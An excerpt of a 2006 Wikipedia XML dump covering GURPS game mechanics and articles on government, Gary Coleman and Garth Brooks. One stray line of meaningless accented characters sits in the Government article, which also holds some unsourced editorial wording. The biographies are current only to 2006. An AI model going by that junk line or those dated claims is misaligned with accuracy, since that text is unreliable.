Having only four stats is arguably much simpler compared to other role-playing games which can have several main stats that cover more defined abilities. Each stat has a number rating assigned to it. Normally they begin at 10, representing typical human ability, but can go as low as 1 for nearly useless, to 18 (or higher) for superhuman power. Basic Stat Levels of 1-4 are considered to be so far below the human norm that it they are only usually used for severely handicapped characters. Skills over 14 are said to make you famous for that ability, and skills of 18 and above make the character among the greatest human beings who ever lived in that field.

Players assign these ratings with points. The higher the rating the more points it will cost the player, however, assigning a stat below the typical 10 gives the player points back to assign elsewhere.  Since Skills are almost all based on Dexterity or IQ, those attributes are twice as expensive (or yield twice the points, if purchased below 10). Stat ratings also calculate several derived stats for the character, called Secondary Characteristics, such as Basic Speed, Move, Willpower, Perception, Hit Points, Fatigue Points, Basic Lift, Basic Damage, and others.

===Advantages and Disadvantages===

A player can select numerous Advantages and Disadvantages (including above-average or below-average Wealth, Status and Reputation) to spice up the character with special abilities and weaknesses. These are categorized as physical, mental or social, and as exotic, supernatural, or mundane. Advantages benefit the character and cost points to purchase. Selecting Disadvantages returns character points. Disadvantages include such positive attributes as honesty and truthfulness which limit the way a character is played. There are also many Perks and Quirks to choose from which give a character some personality. Perks (minor Advantages) and Quirks (minor Disadvantages) hinder or benefit the character a bit, but they mostly add role-playing flavor.

New to the 4th edition is the concept of enhancements and limitations. These modify the effects and point cost of advantages and disadvantages. For example, to create a &quot;dragon's breath&quot; attack, a player would select the burning attack 4D advantage (normally 20 points) and modify it as follows: cone, 5 yards (+100%); limited use, 3/day (-20%); reduced range, x1/5 (-20%). The final percentage modifier would be +60%, making the final cost 32 points. This addition to the system greatly increases its flexibility while decreasing the number of specific advantages and disadvantages that must be listed.

===Skills===

Complementing the stats are numerous [[skill (role-playing)|skill]]s. A player buys skills with character points. Skills represent physical and mental areas of specialty which can prove useful in the game. Skills vary widely, from [[Acrobatics]] to Vehicle Piloting. The availability of skills depends on the particular genre the GURPS game is played. For instance, in a [[Medieval]] [[Fantasy]] world, skills for operating a [[computer]], or flying a [[Fighter aircraft|fighter jet]] would not normally be available for the player to choose unless they [[time travel]]ed. Skills are rated by level, and the more levels purchased with character points, the better the character is at that particular skill. 

Skills are categorized by difficulty: Easy, Average, and Hard. They are also categorized as Physical or Mental skills, with Very Hard as an option for some Mental skills. Easy skills cost fewer points to purchase levels in, while Hard skills cost more. A player can purchase a skill for his character at any level he or she can afford.  The lower you choose the fewer points it costs to buy the skill, and the higher you go, the more points it costs. Some skills have default levels, which indicate the level rating a character has when using that skill untrained (i.e. not purchased). For example, a character with a Dexterity of 12, uses the Climbing skill untrained. Climbing has a default of DX-5 or ST-5, which means that using the skill untrained gives him a Climbing skill level of 7 (12-5) if he tied it to the Dexterity stat. If the character had a higher Strength stat, he could have a better chance of success if they tied the Climbing skill there instead.

Many Skills also have a Tech Level (TL) rating attached to them, to differentiate between Skills that concern similar concepts, but whose tasks are accomplished in different ways when used with differing levels of technology. This helps during time traveling scenarios, or when characters are forced to deal with particularly outdated or advanced equipment. For instance, a modern boat builder's skills will be of less use if he is stuck on a desert island and forced to work with primitive tools and techniques. Thus, the skills he uses are different when in his shop (Shipbuilding/TL 8) and when he is on the island (Shipbuilding/TL 1).

===Success Rolls===

GURPS uses six-sided [[dice]] for all game mechanics. For instance, if the damage of a weapon says &quot;3d+2&quot; then you'd roll three six-sided dice, add the results of each die together, and add 2 to that result. Likewise, if it said &quot;2d-1&quot;, you'd roll only two dice and subtract 1 from the total result. For stat and skill checks, the player always rolls three six-sided dice.  Note that this makes a &quot;default&quot; skill check (a skill of 10, based on an unmodified attribute) 50% likely to succeed. 

Making stat and skill checks in GURPS is the reverse of the mechanics of most other RPGs, where the higher the total of the die roll, the better. GURPS players hope to roll as low as possible under the tested stat's rating or skill's level. If the roll is less than or equal to that number, the check succeeds. There is no &quot;target number&quot; or &quot;difficulty rating&quot; set by the Game Master, as would be the case in many other RPG systems. The GM may however, calculate various modifiers to add or subtract to the die roll. In this way, positive modifiers increase the chance for success by adding to the stat or skill level you must roll under, while negative modifiers deduct from it, making things more difficult. 

For example: a player makes a pickpocketing test for his character. The player has assigned a Pickpocket skill with a level of 11. Rolling 3 dice, the result must be 11 or less to succeed the test. If the player rolls above 11, then the character has failed his attempt at pickpocketing. No matter the level of the skill, a die roll of 18 or 17 is always a failure, and a roll of 3 or 4 is always a success. The Game Master may choose in such cases, that the character has failed miserably and caused something disastrous, or succeeded incredibly well and gains something beneficial as a result.

===Combat===

Like most other RPGs, combat in GURPS is organized in rounds. A [[turn|round]] is equal to one [[second]] of real [[time]] (other RPGs typically have longer rounds). In one second, a player can allow his character to take an action, such as attack, or move. Free actions are simple actions that can be done at any time. Characters in a party have a set initiative every round that is based upon their Speed factors.  

There are two kinds of attacks, Melee (with hand-to-hand weapons) and Ranged (for bows and guns). Attacks made by a character are checked against their appropriate skill in the particular weapon they carry. For instance, if a character is attacking with a pistol, it is a good idea to have high levels in the [[Firearms]] skill. Like any other skill check, a player must roll equal to, or less than the level of the skill. Failure means a miss, success scores a hit. Rolls of 3 or 4 are &quot;critical hits&quot;, where the weapon deals its full possible damage to the target without rolling it. Attack modifiers are set by the GM when factoring in such things as body armor and cover.

===Damage and defenses===

Damage from melee weapons, (clubs, swords, daggers, etc.) is calculated based on a character's ST rating. The weaker a character is physically, the less damage he or she is capable of inflicting with a handheld weapon. Ranged weapons have a set damage value for the projectile they fire. When damage is inflicted upon a character, it is deducted from their Hit Points, which are calculated with the Strength stat (prior to GURPS 4th Edition, Hit Points were derived from the Health stat). Like any other RPG, when a character loses their hit points, they're in trouble. Depending on the nature of the attack, there will sometimes be additional effects. GURPS calculates shock penalties when someone is hit, representing the lasting harm it causes. Different weapons can cause different 'types' of damage, ranging from crushing (a club or mace), impaling (a spear or arrow), cutting (most swords and axes), piercing (bullets), and so on.

===Advancement===

Finally, the most useful award after playing a good session of GURPS are more character points, which can be used to advance the character with boosted stats and skills, and other goodies.

==GURPS in other media==

The computer game publisher [[Interplay Productions|Interplay]] licensed GURPS as the basis for a post-[[nuclear war]] [[role-playing]] computer game in [[1995]].  Late in development, after disagreements between the two companies, the GURPS character-building system was replaced with the [[SPECIAL System]], the GURPS name was dropped, and the game was released under the name [[Fallout (computer game)|Fallout]].

GURPS [[...For Dummies|For Dummies]], a guidebook by Stuart J. Stuple, Bjoern-Erik Hartsfvang, Adam Griffith, is scheduled to be published on [[April 3]], [[2006]]. ISBN 0471783293

==See also==
*[[List of GURPS books]]
*[[List of unofficial GURPS books]]

==External links==
*[http://www.sjgames.com/gurps/ Official GURPS Website]
*[http://e23.sjgames.com/item.html?id=SJG02-0004 Free printable PDF] version of the &quot;lite&quot; rulebook (4th edition).
*[http://www.sjgames.com/gurps/faq/ 4th Edition FAQ]
*[http://e23.sjgames.com/item.html?id=SJG82-0106 Free printable PDF] version of the &quot;lite&quot; rulebook (3rd edition).
*[http://www.sjgames.com/gurps/faq/FAQ-5.4.html 3rd Edition FAQ]
*[http://www.krommnotes.org/ Kromm Notes (3rd edition)] The collected rulings of Dr. Kromm, GURPS Line Editor at [[Steve Jackson Games]].
*[http://www.sjgames.com/gurps/resources.html GURPS Resources] Free forms, errata, updates, and software for GURPS on Steve Jackson Games website.
*[http://gcs.roleplayer.com/ GURPS Character Sheet], a free character creation program (4th edition).
*[http://www.sjgames.com/pyramid/ Pyramid Magazine], a weekly online magazine devoted to supporting GURPS.
*[http://www.warehouse23.com/ Warehouse 23] Steve Jackson Games' online store.
*[http://e23.sjgames.com/ e23 digital content] Go here to download PDF files, some are of out-of-print books, and some are even free!
*[http://www.gurpswiki.net/default.aspx/GURPSWiki.GURPSWiki Gurps Wiki], an independent GURPS Wiki.
*[http://j.webring.com/hub?ring=gurps GURPS Webring] over 75 fansites.

[[Category:GURPS|*]]
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    </revision>
  </page>
  <page>
    <title>Government</title>
    <id>12229</id>
    <revision>
      <id>42072659</id>
      <timestamp>2006-03-03T17:08:05Z</timestamp>
      <contributor>
        <username>Rmt2m</username>
        <id>544508</id>
      </contributor>
      <minor />
      <comment>rvv</comment>
      <text xml:space="preserve">A '''government''' is the body that has the [[authority]] to make and the [[Political power|power]] to enforce laws within an [[organization]] or group. In its broadest sense, &quot;to govern&quot; means to administer or supervise, whether over an area of land, a set group of people, or a collection of assets. The word ''government'' is derived from the [[Greek language|Greek]] &amp;#922;&amp;#965;&amp;#946;&amp;#949;&amp;#961;&amp;#957;&amp;#942;&amp;#964;&amp;#951;&amp;#962; (''kubernites''), which means &quot;steersman&quot;, &quot;governor&quot;, &quot;pilot&quot; or &quot;rudder&quot;.

In commonwealth usage, '''Government''' refers to the executive branch of government and a specficaly named government, i.e. the [[Blair]] Government or the [[Thatcher]] Government, refers to the tenure of the named executive.  The [[Welsh Assembly Government]] is the name of the executive branch of Wales, and Scottish Government is the unofficial term to describe the [[Scottish Executive]].

===Attributes of governments===
Effective governments possess two attributes, authority and legitimacy.

'''[[Authority]]''' is the ability to compel obedience. Authority can be derived from naked force or terror as was the case in [[Stalinist]] Russia or [[Baathist]] Iraq or from a [[social contract]] between governed and government as is the case in many western [[democracies]].

Physical violence is not the only form of duress that compels loyal behavior.  [[Corporate]] organizations use economic leverage to motivate. Indeed, the most coercive venue for governmental bullying may be the ecclesiastical which promises the unfaithful, the heretical, or the infidel an eternity of hellish suffering and thereby garners obedience.

'''[[Legitimacy]]''' is the attribute of a government that prompts the governed to acquiesce willingly to its authority.  Legitimacy is gained through the acquisition and application of power in accordance with recognized or accepted standards or principles.  That is to say that a legitimate government will &quot;do the right thing&quot; and therefore deserves to be respected and obeyed.  

Authority can be upheld through violent means while legitimacy must be earned.  As legitimacy is challenged the use of violence to maintain authority increases.

===Functions of governments===

Governments perform three functions.  Governments make rules, the legislative function.  They enforce the rules, the executive function; and the judicial function wherein the rules are interpreted.

All three functions may be combined into a single institution as is the case in autocracies or they may be distributed among separate branches as in the system in place in the United States.  The parliamentary system combines legislative and executive functions in one branch and judicial in another.

===Forms of Government===
{{main|Forms of government}}

Two taxonomies are recognized for the categorization of government types.  In the first governments are described by who gets to rule.  Monarchies have hereditary rulers, less chosen than nurtured into the post. Oligarchies are governed by a few wealthy members of the community, democracies are governed by the governed, and anarchies are regulated by no one. 

A more useful taxonomy examines the concentration of power.  In an autocracy all power is vested in a single individual. Czarist Russia is an example, as is a 19th century British Man-of-War at sea.

A continuum of government types may include a limited monarchy (post Runnymede England), a constitutional monarchy, a representative democracy (The United States), and direct democracy.

Direct democracy is cumbersome and the most often cited example points to New England (US) town hall meetings where all of the citizens make all of the decisions.

==Reasons for government==
There are a wide range of theories about the reasons for establishing governments. The four major ones are briefly described below. Note that they do not always fully oppose each other - it is possible for a person to subscribe to a combination of ideas from two or more of these theories.

===Greed and oppression===
Many political philosophies that are opposed to the existence of a government (such as [[Anarchism]], and to a lesser extent [[Marxism]]), as well as others, emphasize the historical roots of governments - the fact that governments originated from the authority of warlords and petty despots who took, by force, certain patches of land as their own (and began exercising authority over the people living on that land). Thus, it is argued that governments exist to enforce the will of the strong and oppress the weak.

===Order and tradition===
The various forms of [[conservatism]], by contrast, generally see the government as a positive force that brings order out of chaos, establishes laws to end the &quot;[[Bellum omnium contra omnes|war of all against all]]&quot;, encourages moral [[virtue]] while punishing [[vice]], and respects [[tradition]]. Sometimes, in this view, the government is seen as something ordained by a higher power, as in the [[divine right of kings]], which human beings have a duty to obey.

===Natural rights===
[[Natural rights]] are the basis for the theory of government shared by most branches of [[liberalism]] (including [[libertarianism]]). In this view, human beings are born with certain ''natural rights'', and governments are established strictly for the purpose of protecting those rights. What the ''natural rights'' actually '''are''' is a matter of dispute among liberals - both in the sense of a definition of &quot;rights&quot;, and in the sense of listing which rights are natural. Indeed, each branch of liberalism has its own set of rights that it considers to be ''natural'', and these rights are sometimes mutually exclusive with the rights supported by other liberals.

===Social contract===
One of the most influential theories of government in the past two hundred years has been the [[social contract]], on which modern [[democracy]] and most forms of [[socialism]] are founded. The social contract theory holds that governments are created by the people in order to provide for collective needs (such as safety from crime, poverty, illiteracy) that cannot be properly satisfied using purely individual means. Governments thus exist for the purpose of serving the needs and wishes of the people, and their relationship with the people is clearly stipulated in a &quot;social contract&quot; (a [[constitution]] and a set of laws) which both the government and the people must abide by. If a majority is unhappy, it may change the social contract. If a minority is unhappy, it may persuade the majority to change the contract, or it may opt out of it by emigration or secession.
==Governmental operations==
{{main|government operations}}
Governments concern themselves with regulating and administering many areas of human activity, such as [[trade]], [[education]], [[medicine]], [[entertainment]], and [[war]].

===Enforcement of power===
Governments use a variety of methods to maintain the established order, such as [[Covert#government_secrecy|secrecy]], [[police]] and [[military forces]], (particularly under [[despotism]], see also [[police state]]), making agreements with other states, and maintaining support within the state.  Typical methods of maintaining support and legitimacy include providing the [[infrastructure]] for [[administration]], [[justice]], [[transport]], [[communication]], [[social welfare]] etc., claiming support from [[deity|deities]], providing benefits to [[elites]], holding [[election]]s for important posts within the state, limiting the power of the state through [[law]]s and [[constitution]]s (see also [[Bill of Rights]]) and appealing to [[nationalism]]. Different political ideologies hold different ideas on what the government should or should not do.

===Territory===
The modern standard unit of [[territory]] is a [[country]]. In addition to the meaning used above, the word [[state]] can refer either to a government or to its territory. Within a territory, [[subnational entity|subnational entities]] may have [[local government]]s which do not have the full power of a national government (for example, they will generally lack the authority to declare war or carry out diplomatic negotiations).
ĀİĪ Ǔ çÄņ èÀł

==Size of government==
''Main articles: [[government ownership]], [[government spending]]''

The scale to which government should exist and operate in the world is a matter of debate. Government spending in [[developed countries]] varies considerably but generally makes up between about 30% and 70% of their [[Gross domestic product|GDP]]. One major exception is the United States, where central government spending takes up less than 20% of GDP.

==See also==
{{wikiquote}}

* [[Anarchism]]
* [[Conspiracy theories]]
* [[Democracy]]
* [[Bipartidism]]
* [[government ownership]]
* [[government simulation]]
* [[Minority government]]
* [[Political corruption]]
* [[Premier]]
* [[Statesman]]

===Relevant lists===
* [[List of democracy and elections-related topics]]
* [[List of fictional governments]]

[[Category:Society]]

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    </revision>
  </page>
  <page>
    <title>Gary Coleman</title>
    <id>12230</id>
    <revision>
      <id>41023163</id>
      <timestamp>2006-02-24T15:31:14Z</timestamp>
      <contributor>
        <username>Sjakkalle</username>
        <id>203358</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/71.13.68.206|71.13.68.206]] ([[User talk:71.13.68.206|talk]]) to last version by Thoughtfix</comment>
      <text xml:space="preserve">[[Image:GaryColeman.jpg|right|thumb|150px|Gary Coleman]]
'''Gary Wayne Coleman''' (born [[February 8]], [[1968]], in [[Zion, Illinois|Zion]], [[Illinois]]) is an [[United States|American]] [[actor]].

==Acting career==
Coleman is most famous for the role of Arnold Jackson on ''[[Diff'rent Strokes]]'', an American [[sitcom]] which ran on [[NBC]] from [[1978]] to [[1985]] and then switched to [[American Broadcasting Company|ABC]]. He was particularly famous for his [[catch phrase]], &quot;Whatchoo talkin' 'bout, Willis?&quot;, delivered to his character's older brother Willis Jackson ([[Todd Bridges]]).

Coleman was born with a [[congenital]] [[kidney]] disease causing [[nephritis]] (an autoimmune destruction of the kidney), which halted his growth at an early age, leading to a notably small stature (4' 8&quot;) which became his most distinguishing feature.  Coleman has had two kidney [[transplant]]s, one in [[1973]] and one in [[1984]], and requires constant [[dialysis]]. 

During the run of the show Coleman was a popular figure, starring in a number of feature films and [[Television movie|made-for-TV movies]] including ''On the Right Track'', and ''The Kid With the Broken Halo''. ''The Kid With the Broken Halo'' eventually served as the basis for the [[Hanna-Barbera]] produced animated series ''The Gary Coleman Show'' from [[1982]]. 

At the height of his fame on ''Diff'rent Strokes'', Coleman earned $70,000 per episode. As he grew older, however, he fell from public favor. After the cancellation of ''Diff'rent Strokes'', his acting career declined sharply.

In [[1997]], Gary did voice work for the ''[[The Curse of Monkey Island]]'' the third installment in the monkey island series of comedy adventure games developed by [[LucasArts]]

In [[2004]], Coleman played a supporting role in the controversial [[computer game]] ''[[Postal²]]'' by [[Running With Scissors, Inc.]]

He recently made an appearance in [[John Cena]]'s video, &quot;Bad, Bad Man&quot;.

==Legal struggles==
Coleman famously sued his parents and manager over misappropriation of his $8.3 million trust fund, and won a $1,280,000 ruling on [[February 23]], [[1993]]. The basis for the lawsuit was that using the trust fund, his parents had accumulated $770,000 for themselves, leaving Gary only $220,000. He briefly owned a [[Computer and video games|video game]] arcade in Fisherman's Village in [[Marina del Rey]], near [[Santa Monica, California|Santa Monica]], [[California]] from 1993 to [[1994]].  Despite this, Coleman filed for [[bankruptcy]] in [[1999]].

Coleman appeared in court on [[November 2]], [[2000]], charged with assault.  He was ordered to pay bus driver Tracy Fields $1,665 for hospital bills resulting from a fight. Fields had attempted to get Coleman's autograph while he was shopping for a [[bulletproof vest]] in a California mall.[http://www.eonline.com/News/Items/0,1,3385,00.html]  Coleman said he felt &quot;threatened by her insistence&quot; and punched her in the head.

==Political career==
Coleman was a candidate for [[Governor of California|governor]] in the [[2003 California recall|2003 California recall election]]. This campaign was sponsored by the free newsweekly the ''[[East Bay Express]]'' as a satirical comment on the recall. After [[Arnold Schwarzenegger]] announced his candidacy, Coleman stated that he would be voting for Schwarzenegger. Coleman placed [[Results of the 2003 California recall|8th in a field of 135 candidates]], receiving 14,242 votes.

Since the recall elections, Coleman has been starring in television and radio [[commercials]] in the [[Los Angeles, California|Los Angeles]] market for a short term loan company called &quot;Cash Call&quot;.

==Miscellaneous==
Coleman is a [[Rail transport modelling|model railroader]].

He is sometimes confused with [[Emmanuel Lewis]], star of the [[1980s]] sitcom ''[[Webster (sitcom)|Webster]]'', considered a knock-off of Coleman's earlier success.

He resides in [[Utah]], relocating from California in 2005.

===''Avenue Q'' character===
Gary Coleman is also a character (not an actor) in the hit [[2003]] [[Broadway theatre|Broadway]] [[Musical theater|musical]], ''[[Avenue Q]]'', which won the 2004 [[Tony Award]].  In the musical, Coleman is portrayed by actress Natalie Venetia Belcon. The character is loosely based on Coleman himself, or more specifically, on the public perception of him as a [[child star]] who lost everything. The character works as the [[building superintendent|superintendent]] of the apartment complex where the musical takes place. In the introductory song, &quot;It Sucks to be Me&quot;, he states: &quot;I'm Gary Coleman from TV's ''Diff'rent Strokes''. I made a lot of money that got stolen by my folks. Now I'm broke and I'm the butt of everyone's jokes&amp;mdash;but I'm here, the superintendent, of Avenue Q!&quot; At various times when the Gary Coleman character speaks, theme music reminiscent of an 80s sitcom interrupts the usual Broadway-style music.

===Later media appearances===
In June [[2005]], ''[[VH-1]]'' named Gary Coleman [[No. 1]] on its list of the Top 100 Child Stars Ever.

In [[2001]], he was employed as a shopping mall security guard in the Los Angeles area. A video of him trying to stop a vehicle from entering a compound while the driver (obviously a member of the [[paparazzi]]) ridiculed him made the rounds on various late night talk shows. He also cameoed on ''[[The Simpsons]]'' as himself (in security guard mode). [[Dave Chappelle]] is going to release a skit on ''[[Chappelle's Show]]'' involving him as a midget security (obviously on his knees and a dummy for other shots), based on Coleman's troubled security experience and a possibly upcoming catchphrase, &quot;Whatchu talkin' about, Bitch?&quot;.

Coleman occasionally is able to cash in on his [[camp]] value to members of [[Generation X]], by appearing in cameo roles in film and TV. As with [[Day-Glo]], [[Rubik's Cube]], [[Valley girl]]s, [[Care Bears]], [[Mr. T]],  the ''[[Smurfs]]'' and other artifacts from the early [[1980s]], Coleman's popularity coincided with the childhood of a particularly productive demographic of internet users, and he is, as of 2005, a minor [[cult following|cult]] figure. 

He has also appeared in [[WWE]] superstar [[John Cena]]'s music video for &quot;Bad Bad Man&quot; in which he appeared as himself

In late 2005, Coleman opened an ice cream shop in Cheyenne, Wyoming called Short Stuff's frozen treats. He is already making plans to expand his business and hopes that he will be taken seriously in the business world.

==Filmography==
*''On the Right Track'' ([[1981]])
*''Jimmy the Kid'' ([[1982]])
*''[[Party]]'' ([[1994]]) (short subject) (also [[associate producer]])
*''[[S.F.W.]]'' (1994) (cameo)
*''[[Fox Hunt]]'' ([[1996]])
*''Off the Menu: The Last Days of Chasen's'' ([[1997]]) (documentary)
*''[[Dirty Work]]'' ([[1998]]) (cameo)
*''The Flunky'' ([[2000]])
*''Shafted!'' (2000)
*''Frank McKlusky, C.I.'' ([[2002]]) (cameo)
*''[[Dickie Roberts: Former Child Star]]'' ([[2003]]) (cameo)
*''Chasing the Edge'' ([[2004]]) (short subject)
*''Save Virgil'' (2004) (short subject)
*''A Christmas Too Many'' ([[2005]])
Upcoming:
*''Church Ball'' ([[2006]])
*''Postal'' ([[2007]])

==Television work==
*''[[Diff'rent Strokes]]'' ([[1978]]&amp;ndash;[[1986]])
*''[[The Kid from Left Field]]'' ([[1979]])
*''[[Scout's Honor]]'' ([[1980]])
*''[[The Kid with the Broken Halo]]'' ([[1982]])
*''[[The Gary Coleman Show]]'' (1982) (canceled after a few months) (voice)
*''[[The Kid with the 200 I.Q.]]'' ([[1983]])
*''[[The Fantastic World of D.C. Collins]]'' ([[1984]])
*''[[Playing with Fire]]'' ([[1985]])
*''[[Like Father, Like Santa]]'' ([[1998]])
*''[[A Carol Christmas]]'' ([[2003]])

== External links ==

*[http://www.cnn.com/2003/ALLPOLITICS/08/06/candidate.coleman/ CNN's take on Coleman's 2003 candidacy for the governorship of California]
*{{imdb name | id=0171041 | name=Gary Coleman}} 
*[http://www.february-7.com/warehouse/knightrider&amp;arnoldjackson.jpg Another popular internet Meme; a photograph of Gary Coleman and David Hasselhoff]
*[http://www.rotten.com/library/bio/entertainers/child-stars/gary-coleman/ Rotten.com bio]
*[http://www.lucasarts.com/products/monkey/default.htm official monkey island website]

[[Category:1968 births|Coleman, Gary]]
[[Category:African-American actors|Coleman, Gary]]
[[Category:American television actors|Coleman, Gary]]
[[Category:American child actors|Coleman, Gary]]
[[Category:Worst Actor Razzie Nominee|Coleman, Gary]]
[[Category:Living people|Coleman, Gary]]</text>
    </revision>
  </page>
  <page>
    <title>Garth Brooks</title>
    <id>12231</id>
    <revision>
      <id>41984471</id>
      <timestamp>2006-03-03T01:16:28Z</timestamp>
      <contributor>
        <username>Zsinj</username>
        <id>597658</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/Rumkneebeard the Pyrate|Rumkneebeard the Pyrate]] to last version by 203.109.113.132</comment>
      <text xml:space="preserve">:'''''Garth''' redirects here. For the [[Dana Carvey]] fictional character, see [[Wayne's World]].''
'''Troyal Garth Brooks''' (born [[February 7]], [[1962]] in [[Tulsa, Oklahoma|Tulsa]], [[Oklahoma]]) is an [[United States|American]] [[country music]] [[singer-songwriter]], [[actor]], and [[charity]] director.  

Brooks was a phenomenal musical force in the [[1990s]].  He appeared in [[1989]] and was an immediate commercial success, apparently from nowhere, without the tall and lanky physical appearance typical of some male country stars, integrating [[pop music|pop]] and [[rock music|rock]] elements into his recordings and live performances.  He soon began to dominate the country singles and the country albums charts and quickly crossed over into the mainstream pop arena, selling records like no one else in country music ever had and exposing country music to a larger audience than previously thought possible.

Brooks enjoyed one of the most successful careers in popular music history, with over 70 hit singles and 15 charted albums to his credit and over 100 million albums sold in the US alone.  Brooks broke records for both sales and concert attendance throughout the 1990s.  Possibly dissatisfied and looking to expand his career boundaries, he then attempted an artistically ambitious (but uncompleted) multimedia project involving a fictitious [[alter ego]]. 

Troubled by the conflicts between career and family, the year after the decade ended Garth Brooks announced his retirement from recording and performing, thereby disappearing from the music world as suddenly as he had come. 

== Early life and career ==

Garth Brooks grew  in [[Yukon, Oklahoma]].  His father Ray Brooks worked as a [[draughtsman]] for an oil company, while his mother [[Colleen Carroll]] was a country music singer on the [[Capitol Records]] label in the [[1950s]] and also a regular on the [[Red Foley|Red Foley Show]].  

Garth grew up with an interest in music and sang in casual family settings, but his biggest interest was in athletics.  He played [[American football|football]], [[baseball]], and ran [[athletics|track]] in high school.

Brooks attended [[Oklahoma State University - Stillwater|Oklahoma State University]] in [[Stillwater, Oklahoma|Stillwater]] on a [[athletics|track]] scholarship as a [[javelin throw]]er.  However he dropped track while at the school and graduated in [[1984]] with a degree in [[advertising]].

Brooks began his professional singing career in that same year. He became very successful as a local artist, playing to packed clubs and bars in Oklahoma, Tumbleweeds in Stillwater in particular. However, a [[1985]] trip to [[Nashville]] to gain a [[record contract]] was a miserable failure.  Brooks returned to Oklahoma and in [[1986]] married Sandy Mahl of [[Owasso, Oklahoma]], whom he had met while working as a [[Doorman|bouncer]] at Tumbleweed's.

In [[1987]], the couple moved to Nashville, and Brooks was gradually able to wend his way into the music industry. By [[1988]], he was signed to [[Capitol Records]].

== The success begins  ==

Garth Brooks' [[Garth Brooks (album)|eponymous first album]] was released in [[1989 in music|1989]] and was both a critical and chart success. It peaked at #2 in the US country album chart and reached #13 on the [[Billboard 200]] pop album chart.  Most of the album was traditionalist country, influenced in part by [[George Strait]]. The first single ahead of it was &quot;Much Too Young To Feel This Damn Old&quot;, a country top 10 success.  It was followed by his first well-known song, &quot;If Tomorrow Never Comes&quot;, which was his first country #1 and is still considered one of his best-crafted efforts.  &quot;Not Counting You&quot; reached #2, and then &quot;[[The Dance (Garth Brooks)|The Dance]]&quot; put him at #1 again; this song's theme of people dying in the course of doing something they believe in resonated strongly and together with a popular [[music video]] gave Brooks his first push towards a broader audience.

[[Image:Garth Brooks-No Fences (album cover).jpg|thumb|left|Garth Brooks, from his ''[[No Fences]]'' album]]
The album ''[[No Fences]]'' followed in [[1990]].  It reached #1 on the Billboard country music chart (staying there for 23 weeks) and #3 on the pop chart, and would go on to become Brooks' biggest-selling album, with global sales of over 20 million copies.  It contained what would become Brooks' [[signature song]], the [[blue collar]] anthem &quot;[[Friends in Low Places]]&quot;, which was a favorite of American troops serving in the 1991 [[Gulf War]].  The album contained two other Brooks classics, the dramatic and controversial &quot;Thunder Rolls&quot; and the philosophically ironic &quot;Unanswered Prayers&quot;.  Also a hit was the affectionate &quot;Two of a Kind, Workin’ on a Full House&quot;; all four of these songs hit #1 on the country chart.

While Brooks' music was definitely in the country idiom, he had also absorbed a sensibility from the 1970s [[singer songwriter]] movement, especially [[James Taylor]] (whom he idolized and named his first child after) and [[Dan Fogelberg]].  Similarly, Brooks was influenced by the operatic rock of the 1970s-era [[Billy Joel]] and [[Bruce Springsteen]].  In his highly successful live shows, Brooks used a wireless headset microphone to free himself to run about the stage, adding energy and [[arena rock]] theatrics to spice up the normally staid country music approach to concerts.

== Dominance ==

When Garth Brooks' third album, ''[[Ropin' the Wind]]'', was released in September [[1991]], it had advance orders of 4 million copies and entered the pop album charts at #1, a first for a country act.  It also further propelled the sales of his first two albums, such that he sometimes occupied the top two spots in the pop album chart.  Nashville had never imagined that a country artist could become the biggest artist in popular music, but when both record sales and concert attendance were looked at, Garth Brooks was doing just that.  ''Ropin' the Wind'''s music was a melange of pop country and [[honky-tonk]]; hits included Billy Joel's &quot;Shameless&quot;, &quot;What She's Doing Now&quot;, and &quot;The River&quot;.  In the end it became his second-best selling album after ''No Fences''.

Brooks was in [[Los Angeles]] when the [[1992 Los Angeles riots|1992 riots]] broke out there.  To then express his desire for tolerance of all kinds, he co-wrote the gospel-country-rock hybrid &quot;We Shall Be Free&quot;, which was the first single off his fourth album ''[[The Chase (album)|The Chase]]''. [http://www.planetgarth.com/news/article.php?cid=00229]  However the song [[#Support for gay rights|met with resistance]] from country radio stations and from the culturally conservative country audience, and only made it to #12 on the country chart, his worst showing to date. Nevertheless, the song often received [[standing ovation]]s when performed in concert.

''The Chase'', which Brooks would later describe as his album that gave the closest look into his mind, would go on to become a huge success, with its next two singles both making it back to #1. But it would not quite match the sales of his previous albums, and the tension between what Brooks wanted to do and what at least parts of his core audience were willing to accept would seem to stay with him for the balance of his career.  In any case, Brooks's most loyal fans greatly admired his pushing of boundaries and personal vision.

Brooks won his first [[Grammy Award for Best Male Country Vocal Performance]] in [[1992]] for the album ''Ropin' the Wind''. He was awarded  the [[Academy of Country Music]]  award for ''Entertainer of the Year'' for 1990, 1991, 1992 and 1993, and the award for ''Top Male Vocalist'' for 1990 and 1991.  As a performer and artist he has been compared to fellow country and pop/rock legends, such as the likes of [[Elvis Presley]], [[The Beatles]], [[Jackson Browne]], [[Kenny Rogers]], [[George Strait]], [[George Jones]], and [[Eagles]].

During this period Garth and Sandy Brooks had three children: Taylor Mayne Pearl, born [[July 8]], [[1992]]; August Anna, born [[May 3]], [[1994]]; and Allie Colleen, born [[July 28]], [[1996]].

Brooks' August 1993 album ''[[In Pieces]]'' was another instant number 1 success, going on to sell in the region of 10 million copies world-wide. However, it was not issued across the world all at once, which caused upset among his fans. In the [[United Kingdom]], one of Brooks' most committed fan bases outside the United States, country music disc jockeys, such as Martin Campbell and John Wellington, noted that many fans were buying the album on import; indeed it was the first album to debut in the top 10 of the UK Country album charts when it was not actually released there. Once officially released, it reached the top spot on the UK Country chart and number two on the UK pop albums chart. The following year &quot;The Red Strokes&quot; became Brooks' first single to make the pop top 40 there, reaching a high of number 13; it was followed by &quot;Standing Outside The Fire&quot;, which made number 23. Previous albums ''No Fences'', ''Ropin' The Wind'' and ''The Chase'' also remained in the top 30.

Brooks then embarked on a 1994 UK tour, selling out venues such as [[Birmingham]]'s [[National Exhibition Centre]] and [[London]]'s [[Wembley Arena]]. He opened the London radio station, [[Country 1035]]. He also made a number of other television and radio appearances, experiencing considerable rude treatement from the British media (see [[#Rude treatment from British media|Controversies]] below).  Nevertheless, Brooks success in bringing his brand of country music to Britain was evident; indeed, Brooks has been nicknamed '''Garth Vader''' (a play on [[Darth Vader]]) in reference to his &quot;invasion&quot; of the charts and his success as an icon of the country genre, and the nickname probably originated from Britain when a top disc jockey, Nick Barraclough, used the phrase to describe Brooks' success on his [[BBC]] radio show. Brooks returned to the UK in 1996 for more sold-out concerts, although this time his media appearances were mostly restricted to country radio and interviews with magazines.

